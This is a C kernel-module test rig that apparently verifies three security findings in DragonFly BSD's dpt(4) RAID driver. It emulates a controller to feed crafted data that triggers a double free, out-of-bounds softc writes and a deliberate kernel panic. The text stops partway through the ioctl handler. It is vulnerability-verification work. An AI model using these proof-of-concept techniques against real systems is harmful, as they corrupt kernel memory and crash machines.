/*
 * dfdpt_rig.c -- production-handler dispatch rig for the DragonFly dpt(4)
 * (DPT SmartRAID V EATA) driver, used to verify findings DF-4240,
 * DF-4241 and DF-4242 against sys/dev/raid/dpt/dpt_scsi.c.
 *
 * The dpt driver is compiled into X86_64_GENERIC (nm shows dpt_action,
 * dpt_poll, dptallocccbs, dpt_attach, dpt_init, dpt_intr), but this QEMU
 * guest has no DPT SmartRAID HBA, so dpt_pci_attach() never runs.  This
 * rig stands in ONLY for the missing PCI hardware:
 *
 *   - resolves the REAL static production handlers from the running
 *     kernel image (no KASLR: file vaddr == runtime vaddr); the host
 *     run script byte-verifies their prologues via sysctl before use;
 *     globals (dpt_attach, dpt_intr, dpt_init) link directly;
 *   - fabricates post-dpt_init softc state with REAL bus_dma tags,
 *     REAL bus_dmamem for the dccb array + status packet, and populates
 *     the free dccb list via the PRODUCTION dptallocccbs() resolved
 *     from the kernel image;
 *   - registers a REAL cam_sim whose sim_action/sim_poll ARE the
 *     production dpt_action/dpt_poll, and drives the REAL CAM XPT layer
 *     via xpt_action() with real xpt_alloc_ccb'd CCBs on a real
 *     registered bus;
 *   - plays the role of the host adapter: scripts a virtual register
 *     file (dpt_inb/dpt_outb are plain volatile memory accesses when
 *     the tag is X86_64_BUS_SPACE_MEM, sys/cpu/x86_64/include/bus_dma.h)
 *     and writes completions into the DMA status packet exactly as the
 *     hardware would, then delivers them to the production dpt_intr().
 *
 * Everything from xpt_action, the XPT device queues, dpt_action,
 * dptexecuteccb, dptallocccbs, dptfreeccb (inlined), dpt_attach and
 * dpt_intr is production code executing from the shipped kernel image.
 *
 * Findings exercised:
 *   DF-4241  duplicate device-fed status packet -> double free-list
 *            insertion (self-loop) + double xpt_done + shared dccb
 *   DF-4240  device-fed MAX_CHAN (channels=8) -> production dpt_attach
 *            writes sims[3..7]/paths[3..7] OOB over live softc members
 *   DF-4242  device-fed registers (HA_SERROR + 'DPTH' signature) ->
 *            production dpt_intr executes panic("DPT Rebooted")
 *
 * Root-only device /dev/dfdpt0.  Run order in a boot: DF-4241 then
 * DF-4240 (guest survives); DF-4242 panics the kernel, so it is run on
 * its own boot, last.
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/kthread.h>
#include <sys/callout.h>
#include <sys/bus.h>
#include <sys/device.h>
#include <sys/rman.h>
#include <sys/types.h>
#include <sys/ioccom.h>

#include <vm/vm.h>
#include <vm/pmap.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

#include "dpt.h"

#include <sys/bus_private.h>	/* struct device (nameunit) */

/* ------------------------------------------------------------------ */
/* Production handler addresses, primed from userland (no KASLR).     */
/* ------------------------------------------------------------------ */
static unsigned long a_dpt_action, a_dpt_poll, a_dptallocccbs;

SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptaction, CTLFLAG_RW,
    &a_dpt_action, 0, "runtime addr of production dpt_action");
SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptpoll, CTLFLAG_RW,
    &a_dpt_poll, 0, "runtime addr of production dpt_poll");
SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptallocccbs, CTLFLAG_RW,
    &a_dptallocccbs, 0, "runtime addr of production dptallocccbs");

/* first 8 bytes at each production address (host script verifies) */
static uint64_t m_dpt_action, m_dpt_poll, m_dptallocccbs;
SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptaction, CTLFLAG_RD,
    &m_dpt_action, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptpoll, CTLFLAG_RD,
    &m_dpt_poll, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptallocccbs, CTLFLAG_RD,
    &m_dptallocccbs, 0, "");

typedef void (*dpt_action_fn)(struct cam_sim *, union ccb *);
typedef void (*dpt_poll_fn)(struct cam_sim *);
typedef int  (*dpt_allocccbs_fn)(dpt_softc_t *);

/* ------------------------------------------------------------------ */
/* Fabricated state                                                    */
/* ------------------------------------------------------------------ */
#define RIG_MAX_DCCBS	64
#define RIG_UNIT	9
#define RIG_UNIT2	8
#define RIG_PAD		65536	/* guard runway after softc2 */

static uint8_t *regpage;		/* virtual HBA register file */
static dpt_softc_t *dpt;		/* softc #1: DF-4241 + DF-4242 */
static uint8_t *dpt_buf;		/* backing store of softc #1 */
static dpt_softc_t *dpt2;		/* softc #2: DF-4240 chan8 run */
static uint8_t *dpt2_buf;
static struct cam_sim *rig_sim;
static struct cam_path *io_path;	/* target 3 lun 0 on our bus */
static struct cam_periph rig_periph;	/* fabricated periph: type only */
static cdev_t rig_cdev;
static struct lock rig_lock;

/* ccb registry */
struct rig_cctx {
	union ccb	*ccb;
	dpt_ccb_t	*dccb;
	uint32_t	 dccb_busaddr;
	u_int		 comp_count;
	uint32_t	 last_status;
};
#define RIG_NCCTX	16
static struct rig_cctx cctx[RIG_NCCTX];
static int ncctx;

static d_open_t		rig_open;
static d_close_t	rig_close;
static d_ioctl_t	rig_ioctl;

static struct dev_ops rig_ops = {
	{ "dfdpt", 0, D_MPSAFE, NULL, 0, 0 },
	.d_open =	rig_open,
	.d_close =	rig_close,
	.d_ioctl =	rig_ioctl,
};

/* ioctls */
struct rig_state {
	int32_t		 err;
	uint32_t	 ccb_id;
	uint64_t	 ccb_kva;	/* dccb of this id */
	uint64_t	 free_head;
	uint64_t	 free_second;
	uint32_t	 free_selfloop;	/* head->next == head */
	uint32_t	 free_dups;	/* target dccb appears >1 in walk */
	uint32_t	 free_walk;	/* walked nodes (bounded) */
	uint32_t	 free_softc_ctr;	/* dpt->free_dccbs */
	uint32_t	 pending_walk;
	uint32_t	 ccb_status;
	uint32_t	 comp_count;
	uint32_t	 timer_pending;
	uint32_t	 dccb_state;
	uint32_t	 sp_busaddr;
	uint32_t	 sp_eoc;
	/* ioctl inputs */
	uint32_t	 in_timeout;
	uint32_t	 in_eoc, in_hba, in_scsi, in_serr, in_dpth;
	uint32_t	 in_channels;
};
struct rig_chan8_args {
	uint32_t	 channels;	/* in: device-fed value (conf.MAX_CHAN+1) */
	uint32_t	 attach_ret;	/* out: dpt_attach() return (i) */
	uint32_t	 channels_after;
	uint32_t	 canary_cp_before, canary_cp_after;
	uint32_t	 canary_li_before, canary_li_after;
	uint64_t	 oob_slot[10];	/* values found at sims[3..7]/paths[3..7] */
	uint32_t	 runaway;	/* stores past softc end (0xAA scan) */
	uint32_t	 path3_is_sim;	/* paths[0] now holds a cam_sim* */
	uint64_t	 member_off[10]; /* byte offset of each OOB store */
};
struct rig_panic_args {
	uint32_t	 ccb_id;
};

#define RIGIOC_QUEUE	_IOWR('D', 1, struct rig_state)
#define RIGIOC_INTR	_IOWR('D', 2, struct rig_state)
#define RIGIOC_SNAP	_IOWR('D', 3, struct rig_state)
#define RIGIOC_ALIAS	_IOWR('D', 4, struct rig_state)
#define RIGIOC_CHAN8	_IOWR('D', 5, struct rig_chan8_args)
#define RIGIOC_PANIC	_IOWR('D', 6, struct rig_panic_args)
#define RIGIOC_DUPALIAS	_IOWR('D', 7, struct rig_state)
#define RIGIOC_FULLINIT	_IOWR('D', 8, struct rig_chan8_args)

static void	rig_done(struct cam_periph *periph, union ccb *done_ccb);

static __inline uint32_t
rig_ccbvtop(dpt_softc_t *sc, dpt_ccb_t *dccb)
{
	return ((uint32_t)(sc->dpt_ccb_busbase +
	    (uint32_t)((caddr_t)dccb - (caddr_t)sc->dpt_dccbs)));
}

static void
rig_done(struct cam_periph *periph, union ccb *done_ccb)
{
	int i;

	for (i = 0; i < ncctx; i++) {
		if (cctx[i].ccb == done_ccb) {
			cctx[i].comp_count++;
			cctx[i].last_status = done_ccb->ccb_h.status;
			kprintf("[dptrig] rig_done: ccb id=%d completed "
			    "(comp_count=%u status=0x%x)\n", i,
			    cctx[i].comp_count, done_ccb->ccb_h.status);
			return;
		}
	}
	kprintf("[dptrig] rig_done: unknown ccb %p\n", done_ccb);
}

/* busdma map callback (mirror of production dptmapmem) */
static void
rig_mapmem(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	bus_addr_t *busaddrp = (bus_addr_t *)arg;

	*busaddrp = segs->ds_addr;
}

/*
 * Build the "post-dpt_init" state of a softc with REAL busdma, exactly
 * the fields production dpt_init() sets up between its config fetch and
 * dptallocccbs() (dpt_scsi.c:1235-1415), then populate the free dccb
 * list through the PRODUCTION dptallocccbs().
 */
static int
rig_make_softc(dpt_softc_t *sc, int unit, uint32_t max_dccbs)
{
	struct sg_map_node *sg_map;
	bus_dma_tag_t parent;
	size_t ccbsz;
	int error;

	/* DMA tag for our S/G structures (dpt_scsi.c:1235) */
	error = bus_dma_tag_create(/*parent*/ NULL, /*alignment*/ 1,
	    /*boundary*/ 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
	    PAGE_SIZE, /*nsegments*/ 1, BUS_SPACE_MAXSIZE_32BIT,
	    /*flags*/ 0, &sc->sg_dmat);
	if (error) {
		kprintf("[dptrig] sg_dmat tag fail %d\n", error);
		return (error);
	}

	/* first S/G map (mirror of dptallocsgmap, dpt_scsi.c:297-318) */
	sg_map = kmalloc(sizeof(*sg_map), M_DEVBUF, M_INTWAIT | M_ZERO);
	if (bus_dmamem_alloc(sc->sg_dmat, (void **)&sg_map->sg_vaddr,
	    BUS_DMA_NOWAIT, &sg_map->sg_dmamap) != 0) {
		kfree(sg_map, M_DEVBUF);
		return (ENOMEM);
	}
	bus_dmamap_load(sc->sg_dmat, sg_map->sg_dmamap, sg_map->sg_vaddr,
	    PAGE_SIZE, rig_mapmem, &sg_map->sg_physaddr, /*flags*/0);
	SLIST_INSERT_HEAD(&sc->sg_maps, sg_map, links);

	/* DMA tag for mapping buffers (dpt_scsi.c:1356) */
	error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR,
	    BUS_SPACE_MAXADDR, MAXBSIZE, /*nsegments*/ DPT_MAX_SEGS,
	    BUS_SPACE_MAXSIZE_32BIT, BUS_DMA_ALLOCNOW, &sc->buffer_dmat);
	if (error) {
		kprintf("[dptrig] buffer_dmat tag fail\n");
		return (error);
	}

	/* DMA tag + memory for the ccb array and status packet
	 * (dpt_scsi.c:1370-1408) */
	ccbsz = (max_dccbs * sizeof(struct dpt_ccb)) + sizeof(dpt_sp_t);
	error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR,
	    BUS_SPACE_MAXADDR, ccbsz, 1, BUS_SPACE_MAXSIZE_32BIT,
	    0, &sc->dccb_dmat);
	if (error) {
		kprintf("[dptrig] dccb_dmat tag fail\n");
		return (error);
	}
	if (bus_dmamem_alloc(sc->dccb_dmat, (void *)&sc->dpt_dccbs,
	    BUS_DMA_NOWAIT, &sc->dccb_dmamap) != 0) {
		kprintf("[dptrig] dccb array alloc fail\n");
		return (ENOMEM);
	}
	bus_dmamap_load(sc->dccb_dmat, sc->dccb_dmamap, sc->dpt_dccbs,
	    ccbsz, rig_mapmem, &sc->dpt_ccb_busbase, /*flags*/0);
	bzero(sc->dpt_dccbs, ccbsz);
	sc->dpt_ccb_busend = sc->dpt_ccb_busbase;
	sc->sp = (volatile dpt_sp_t *)&sc->dpt_dccbs[max_dccbs];
	sc->sp_physaddr = sc->dpt_ccb_busbase
	    + (max_dccbs * sizeof(dpt_ccb_t));
	sc->init_level = 5;	/* mirrors production post-init */

	sc->unit = unit;
	sc->max_dccbs = max_dccbs;
	sc->sgsize = DPT_MAX_SEGS;	/* clamped production value */
	sc->max_id = 15;
	sc->max_lun = 7;
	sc->hostid[0] = sc->hostid[1] = sc->hostid[2] = 7;
	sc->state |= DPT_HA_OK;

	/* the parent tag the PCI glue would have made (dpt_pci.c:134) */
	error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXSIZE_32BIT,
	    BUS_SPACE_UNRESTRICTED, BUS_SPACE_MAXSIZE_32BIT, 0, &parent);
	if (error)
		return (error);
	sc->parent_dmat = parent;

	/* PRODUCTION free-list population */
	if (((dpt_allocccbs_fn)a_dptallocccbs)(sc) == 0) {
		kprintf("[dptrig] production dptallocccbs made 0 ccbs\n");
		return (ENXIO);
	}
	kprintf("[dptrig] softc%d: dccbs=%p busbase=0x%llx busend=0x%llx "
	    "sp=%p total_dccbs=%d (production dptallocccbs)\n",
	    unit, sc->dpt_dccbs,
	    (unsigned long long)sc->dpt_ccb_busbase,
	    (unsigned long long)sc->dpt_ccb_busend,
	    (void *)(uintptr_t)sc->sp, sc->total_dccbs);
	return (0);
}

static int
rig_setup(void)
{
	struct cam_devq *devq;

	if (dpt != NULL)
		return (0);
	if (a_dpt_action == 0 || a_dpt_poll == 0 || a_dptallocccbs == 0) {
		kprintf("[dptrig] addresses not primed\n");
		return (ENXIO);
	}

	regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
	/* interrupt pending forever; aux-busy clear (dpt_send_eata_command
	 * polls HA_ABUSY, dpt_intr polls HA_AIRQ) */
	regpage[HA_RAUXSTAT] = HA_AIRQ;

	dpt_buf = kmalloc(sizeof(dpt_softc_t) + RIG_PAD, M_DEVBUF,
	    M_INTWAIT | M_ZERO);
	dpt = (dpt_softc_t *)dpt_buf;
	dpt->tag = X86_64_BUS_SPACE_MEM;
	dpt->bsh = (bus_space_handle_t)(uintptr_t)regpage;
	SLIST_INIT(&dpt->free_dccb_list);
	LIST_INIT(&dpt->pending_ccb_list);
	SLIST_INIT(&dpt->sg_maps);
	if (rig_make_softc(dpt, RIG_UNIT, RIG_MAX_DCCBS) != 0)
		return (ENXIO);

	/* register the REAL sim: production dpt_action/dpt_poll over dpt.
	 * The SIM lock must be held across registration (xpt_bus_register
	 * asserts sim_lock_assert_owned, cam_sim.c:100). */
	lockinit(&rig_lock, "dfdpt", 0, LK_CANRECURSE);
	devq = cam_simq_alloc(RIG_MAX_DCCBS);
	if (devq == NULL)
		return (ENOMEM);
	rig_sim = cam_sim_alloc((sim_action_func)a_dpt_action,
	    (sim_poll_func)a_dpt_poll, "dpt", dpt, RIG_UNIT, &rig_lock,
	    /*untagged*/2, /*tagged*/RIG_MAX_DCCBS, devq);
	cam_simq_release(devq);
	if (rig_sim == NULL)
		return (ENOMEM);
	lockmgr(&rig_lock, LK_EXCLUSIVE);
	if (xpt_bus_register(rig_sim, 0) != CAM_SUCCESS) {
		lockmgr(&rig_lock, LK_RELEASE);
		cam_sim_free(rig_sim);
		rig_sim = NULL;
		return (ENXIO);
	}
	if (xpt_create_path(&io_path, /*periph*/ NULL, cam_sim_path(rig_sim),
	    3, 0) != CAM_REQ_CMP) {
		lockmgr(&rig_lock, LK_RELEASE);
		return (ENXIO);
	}
	/* fabricated periph: xpt_done reads path->periph->type only
	 * (cam_xpt.c), must be CAM_PERIPH_BIO.  struct cam_path is private
	 * to cam_xpt.c; periph is its first field, so write it via
	 * offset 0. */
	bzero(&rig_periph, sizeof(rig_periph));
	rig_periph.type = CAM_PERIPH_BIO;
	rig_periph.path = io_path;
	rig_periph.periph_name = "dfdpt";
	*(struct cam_periph **)(void *)io_path = &rig_periph;
	lockmgr(&rig_lock, LK_RELEASE);	/* registration done */

	/* prime magic prologue words for host-side verification */
	m_dpt_action = *(volatile uint64_t *)a_dpt_action;
	m_dpt_poll   = *(volatile uint64_t *)a_dpt_poll;
	m_dptallocccbs = *(volatile uint64_t *)a_dptallocccbs;

	kprintf("[dptrig] rig up: softc=%p sim=%p path_id=%d "
	    "a_dpt_action=0x%lx\n", dpt, rig_sim, cam_sim_path(rig_sim),
	    a_dpt_action);
	return (0);
}

/* walk the free dccb list with cycle/dup detection (NO SLIST_FOREACH:
 * the corrupted list is cyclic) */
static void
rig_walk_freelist(struct rig_state *st)
{
	dpt_ccb_t *cur;

	st->free_head = (uint64_t)(uintptr_t)SLIST_FIRST(&dpt->free_dccb_list);
	cur = SLIST_FIRST(&dpt->free_dccb_list);
	st->free_selfloop = (cur != NULL && SLIST_NEXT(cur, links) == cur);
	st->free_second = (uint64_t)(uintptr_t)(cur ? SLIST_NEXT(cur, links) : NULL);
	st->free_walk = 0;
	st->free_dups = 0;
	while (cur != NULL && st->free_walk < 200) {
		if (st->ccb_id < (uint32_t)ncctx && cctx[st->ccb_id].dccb == cur)
			st->free_dups++;
		cur = SLIST_NEXT(cur, links);
		st->free_walk++;
	}
	st->free_softc_ctr = (uint32_t)dpt->free_dccbs;
}

static void
rig_capture(struct rig_state *st, uint32_t id)
{
	struct ccb_hdr *ch;

	bzero(st, sizeof(*st));
	st->err = 0;
	st->ccb_id = id;
	st->pending_walk = 0;
	LIST_FOREACH(ch, &dpt->pending_ccb_list, sim_links.le)
		st->pending_walk++;
	rig_walk_freelist(st);
	if (id < (uint32_t)ncctx && cctx[id].ccb != NULL &&
	    cctx[id].dccb != NULL) {
		st->ccb_kva = (uint64_t)(uintptr_t)cctx[id].dccb;
		st->ccb_status = cctx[id].ccb->ccb_h.status;
		st->comp_count = cctx[id].comp_count;
		st->timer_pending =
		    callout_pending(cctx[id].ccb->ccb_h.timeout_ch);
		st->dccb_state = (uint32_t)cctx[id].dccb->state;
	}
	st->sp_busaddr = (uint32_t)dpt->sp->ccb_busaddr;
	st->sp_eoc = dpt->sp->EOC;
}

/* ------------------------------------------------------------------ */
/* Virtual HBA responder for the EATA config handshake (FULLINIT).    */
/* Plays the controller firmware: watches HA_WCOMMAND writes, and on  */
/* EATA_CMD_DMA_SEND_CP "DMAs" the requested config page into the     */
/* buffer cp_dataDMA points at (inside the S/G map), fills the status */
/* packet, and raises HA_AIRQ -- exactly what the real HBA does.      */
/* Production dpt_init() then parses this device-fed data.            */
/* ------------------------------------------------------------------ */
static volatile int vhba_active;
static volatile uint32_t vhba_polls;
SYSCTL_UINT(_kern, OID_AUTO, dfdpt_vhba_polls, CTLFLAG_RD, &vhba_polls, 0,
    "vhba thread poll iterations");
static volatile uint32_t vhba_max_chan = 7;
static dpt_softc_t *vhba_sc;
static struct thread *vhba_td;

static void
rig_vhba_respond(dpt_softc_t *sc, uint32_t cp_busaddr)
{
	struct sg_map_node *sm;
	uint8_t *sgva, *data, *cpva;
	struct eata_ccb *cp;
	uint32_t sgphys;

	sm = SLIST_FIRST(&sc->sg_maps);
	if (sm == NULL)
		return;
	sgva = (uint8_t *)sm->sg_vaddr;
	sgphys = (uint32_t)sm->sg_physaddr;

	cpva = sgva + (cp_busaddr - sgphys);	/* the init ccb */
	cp = (struct eata_ccb *)cpva;
	data = sgva + (ntohl(cp->cp_dataDMA) - sgphys);

	bzero(data, 512);

	if (cp->cp_page == 0xc1) {
		/* EATA configuration page: THE device-fed data */
		dpt_conf_t c;

		bzero(&c, sizeof(c));
		c.signature = 0x45415441;	/* BE_EATA_SIGNATURE */
		c.scsi_id0 = 7; c.scsi_id1 = 7; c.scsi_id2 = 7;
		c.queuesiz = htons(16);
		c.SGsiz = htons(32);
		c.MAX_ID = 15;		/* 5-bit field */
		c.MAX_CHAN = vhba_max_chan & 7;	/* 3-bit field */
		c.MAX_LUN = 7;
		bcopy(&c, data, sizeof(c));
		kprintf("[dptrig] vhba: DMA'd config page 0xc1, "
		    "MAX_CHAN=%u\n", c.MAX_CHAN);
	} else {
		kprintf("[dptrig] vhba: DMA'd empty page\n");
	}

	/* status packet lives at the head of the S/G map */
	{
		volatile dpt_sp_t *sp = (volatile dpt_sp_t *)sgva;

		sp->hba_stat = HA_NO_ERROR;
		sp->scsi_stat = SCSI_STATUS_OK;
		sp->residue_len = 0;
		sp->EOC = 1;
		sp->ccb_busaddr = ~0;
	}
}

/*
 * EATA config-handshake emulation over a PASSIVE register file.  The
 * real controller clears its interrupt when the driver reads
 * HA_RSTATUS; a memory file cannot, so back-to-back dpt_get_conf()
 * calls would race a stale HA_AIRQ.  The protocol below avoids any
 * such race deterministically:
 *
 *  resp#1  data + sp zeroed, status = 0xD0 (READY|SSC|BUSY -- note
 *          SERROR bit CLEAR, so the driver's first get_conf succeeds),
 *          raise AIRQ.  The driver parses, then spins in the SECOND
 *          get_conf's pre-send loop: 0xD0 fails the ready check and
 *          dpt_wait() sees BUSY, so it re-checks every 50us.
 *  +20ms   the driver is guaranteed parked there (its bzeroes are
 *          done).  Write sp->scsi_stat = SCSI_STATUS_CHECK_COND and
 *          set status = 0x50.  The driver proceeds, writes the
 *          command (0xff) to the shared cmd/status register, polls
 *          HA_AUXSTAT -- sees the stale AIRQ, reads status 0xff
 *          (SERROR set) -- and then the CHECK_COND short-circuit at
 *          dpt_scsi.c:561 makes it return SUCCESS for the inquiry.
 *  call#3  detect_cache(): its buffer was bzeroed by the driver;
 *          buff[0] != 0x33 makes it return early all by itself.
 */
static void
rig_vhba_thread(void *arg)
{
	uint8_t prev = 0;

	kprintf("[dptrig] vhba: thread alive, regpage=%p\n", regpage);
	while (vhba_td != NULL) {
		uint8_t cmd = regpage[HA_WCOMMAND];
		uint32_t busaddr;

		vhba_polls++;
		if (cmd != prev) {
			prev = cmd;
			kprintf("[dptrig] vhba: cmd write 0x%02x seen "
			    "(active=%d sc=%p poll#%u)\n", cmd, vhba_active,
			    vhba_sc, vhba_polls);
			if (vhba_active && cmd == EATA_CMD_DMA_SEND_CP &&
			    vhba_sc != NULL) {
				busaddr = *(volatile uint32_t *)
				    &regpage[HA_WDMAADDR];
				/* DMA in flight... */
				regpage[HA_RAUXSTAT] &= ~HA_AIRQ;
				regpage[HA_RSTATUS] = 0xD0;
				tsleep(&vhba_td, 0, "vhbadma", hz / 50);
				rig_vhba_respond(vhba_sc, busaddr);
				regpage[HA_RSTATUS] = 0xD0;	/* gate #2 */
				regpage[HA_RAUXSTAT] |= HA_AIRQ;
				/* let the driver parse and park in the
				 * second get_conf's pre-send wait loop */
				tsleep(&vhba_td, 0, "vhbapark", hz / 50);
				{
					struct sg_map_node *sm =
					    SLIST_FIRST(&vhba_sc->sg_maps);
					volatile dpt_sp_t *sp =
					    (volatile dpt_sp_t *)sm->sg_vaddr;

					sp->scsi_stat = SCSI_STATUS_CHECK_COND;
				}
				regpage[HA_RSTATUS] = HA_SREADY | HA_SSC;
				kprintf("[dptrig] vhba: handshake complete "
				    "(inquiry released)\n");
			}
		}
		tsleep(&vhba_td, 0, "vhbaidle", hz / 100);
	}
	kthread_exit();
}

/* run production dpt_init() over a device-fed config with
 * MAX_CHAN=vhba_max_chan, then production dpt_attach() -- full
 * DF-4240 path from config parsing to the channel loop */
static int
rig_fullinit(struct rig_chan8_args *ca)
{
	dpt_softc_t *sc;
	size_t scsz = sizeof(dpt_softc_t);
	size_t off_sims, off_paths, off_end;
	bus_dma_tag_t parent;
	int i, k, retval;
	uint64_t *slot;
	uint8_t *p;

	if (regpage == NULL) {
		regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
	}
	/* clean register file for the config handshake */
	bzero(regpage, 16);
	regpage[HA_RSTATUS] = HA_SREADY | HA_SSC;

	p = kmalloc(scsz + RIG_PAD, M_DEVBUF, M_INTWAIT);
	memset(p, 0xAA, scsz + RIG_PAD);
	bzero(p, scsz);
	sc = (dpt_softc_t *)p;
	sc->tag = X86_64_BUS_SPACE_MEM;
	sc->bsh = (bus_space_handle_t)(uintptr_t)regpage;
	sc->unit = 7;
	SLIST_INIT(&sc->free_dccb_list);	/* production dpt_alloc does this */
	LIST_INIT(&sc->pending_ccb_list);
	if (bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXSIZE_32BIT,
	    BUS_SPACE_UNRESTRICTED, BUS_SPACE_MAXSIZE_32BIT, 0,
	    &parent) != 0)
		return (ENOMEM);
	sc->parent_dmat = parent;

	off_sims = offsetof(dpt_softc_t, sims);
	off_paths = offsetof(dpt_softc_t, paths);
	kprintf("[dptrig] FULLINIT: softc=%p off(sims)=%zu off(paths)=%zu "
	    "device MAX_CHAN=%u -> PRODUCTION dpt_init()\n", sc, off_sims,
	    off_paths, ca->channels ? ca->channels - 1 : 7);

	vhba_max_chan = ca->channels ? ca->channels - 1 : 7;
	vhba_sc = sc;
	vhba_active = 1;
	if (vhba_td == NULL) {
		if (kthread_create(rig_vhba_thread, NULL, &vhba_td,
		    "dfdpt_vhba") != 0)
			vhba_td = NULL;
	}

	retval = dpt_init(sc);	/* PRODUCTION: parses device-fed config */
	vhba_active = 0;

	kprintf("[dptrig] FULLINIT: dpt_init()=%d channels=%u (device said "
	    "MAX_CHAN+1=%u)%s\n", retval, sc->channels, vhba_max_chan + 1,
	    sc->channels > MAX_CHANNELS ? "  <<- UNCLAMPED" :
	    "  [clamped to MAX_CHANNELS]");

	if (retval != 0)
		return (ENXIO);

	/* canaries in the members the OOB stores would hit */
	ca->canary_cp_before = 0x41414141;
	ca->canary_li_before = 0x42424242;
	sc->commands_processed = 0x41414141;
	sc->lost_interrupts = 0x42424242;

	cam_sim_lock(&sim_mplock);
	ca->attach_ret = (uint32_t)dpt_attach(sc);	/* PRODUCTION */
	cam_sim_unlock(&sim_mplock);

	ca->channels_after = sc->channels;
	ca->canary_cp_after = sc->commands_processed;
	ca->canary_li_after = sc->lost_interrupts;

	for (i = 3; i < 8; i++) {
		slot = (uint64_t *)(void *)((uint8_t *)sc + off_sims + 8 * i);
		ca->oob_slot[i - 3] = *slot;
		ca->member_off[i - 3] = off_sims + 8 * i;
		kprintf("[dptrig] FULLINIT OOB: &sims[%d] (+%zu) = %p\n",
		    i, off_sims + 8 * i, (void *)(uintptr_t)*slot);
	}
	for (i = 3; i < 8; i++) {
		slot = (uint64_t *)(void *)((uint8_t *)sc + off_paths + 8 * i);
		ca->oob_slot[5 + (i - 3)] = *slot;
		ca->member_off[5 + (i - 3)] = off_paths + 8 * i;
		kprintf("[dptrig] FULLINIT OOB: &paths[%d] (+%zu) = %p\n",
		    i, off_paths + 8 * i, (void *)(uintptr_t)*slot);
	}
	{
		uint64_t v = *(uint64_t *)(void *)((uint8_t *)sc + off_paths);

		ca->path3_is_sim = (v == ca->oob_slot[0]);
		kprintf("[dptrig] FULLINIT: paths[0]=%p vs sims[3]=%p -> "
		    "SIM pointer in paths[0]: %s\n",
		    (void *)(uintptr_t)v, (void *)(uintptr_t)ca->oob_slot[0],
		    ca->path3_is_sim ? "YES (type confusion)" : "no");
	}
	off_end = scsz & ~7;
	ca->runaway = 0;
	for (k = 0, p = (uint8_t *)sc + off_end;
	    k < (int)(RIG_PAD - 64); k += 8, p += 8) {
		uint64_t v = *(uint64_t *)(void *)p;

		if (v != 0xAAAAAAAAAAAAAAAAull)
			ca->runaway++;
	}
	kprintf("[dptrig] FULLINIT: attach_ret=%u channels=%u canary cp "
	    "0x%x->0x%x li 0x%x->0x%x runaway=%u\n", ca->attach_ret,
	    ca->channels, ca->canary_cp_before, ca->canary_cp_after,
	    ca->canary_li_before, ca->canary_li_after, ca->runaway);
	return (0);
}

/* ------------------------------------------------------------------ */
/* ioctl dispatch                                                      */
/* ------------------------------------------------------------------ */
static int
rig_open(struct dev_open_args *ap)
{
	return (0);
}

static int
rig_close(struct dev_close_args *ap)
{
	return (0);
}

static int
rig_queue_one(uint32_t timeout_ms)
{
	union ccb *ccb;
	struct rig_cctx *cx;
	struct ccb_hdr *ch;
	int id, on_pending;

	if (ncctx >= RIG_NCCTX)
		return (-1);
	ccb = xpt_alloc_ccb();
	callout_init(ccb->ccb_h.timeout_ch);	/* xpt_alloc_ccb zeroes it */
	xpt_setup_ccb(&ccb->ccb_h, io_path, /*priority*/ 1);
	ccb->ccb_h.func_code = XPT_SCSI_IO;
	ccb->ccb_h.cbfcnp = rig_done;
	ccb->ccb_h.timeout = timeout_ms;
	ccb->ccb_h.flags = CAM_DIR_NONE;
	ccb->csio.cdb_len = 6;
	ccb->csio.cdb_io.cdb_bytes[0] = 0x00;	/* TUR */
	ccb->csio.sense_len = 0;
	ccb->csio.dxfer_len = 0;
	ccb->csio.data_ptr = NULL;

	id = ncctx;
	cx = &cctx[id];
	cx->ccb = ccb;
	cx->dccb = NULL;
	cx->dccb_busaddr = 0;
	cx->comp_count = 0;
	cx->last_status = 0;
	ncctx++;

	lockmgr(&rig_lock, LK_EXCLUSIVE);
	xpt_action(ccb);	/* production XPT -> dpt_action */
	lockmgr(&rig_lock, LK_RELEASE);

	/* dpt_action stored the dccb pointer for us */
	cx->dccb = (dpt_ccb_t *)(uintptr_t)ccb->ccb_h.spriv_ptr0;
	if (cx->dccb != NULL)
		cx->dccb_busaddr = rig_ccbvtop(dpt, cx->dccb);
	on_pending = 0;
	LIST_FOREACH(ch, &dpt->pending_ccb_list, sim_links.le) {
		if ((dpt_ccb_t *)(uintptr_t)ch->spriv_ptr0 == cx->dccb) {
			on_pending = 1;
			break;
		}
	}
	kprintf("[dptrig] QUEUE id=%d ccb=%p dccb=%p busaddr=0x%08x "
	    "status=0x%x on_pending=%u state=%u\n", id, ccb, cx->dccb,
	    cx->dccb_busaddr, ccb->ccb_h.status, on_pending,
	    cx->dccb ? (uint32_t)cx->dccb->state : 0xFFFFFFFFu);
	return (id);
}

static int
rig_ioctl(struct dev_ioctl_args *ap)
{
	u_long cmd = ap->a_cmd;
	caddr_t data = ap->a_data;
	struct rig_state *st;
	int error = 0;

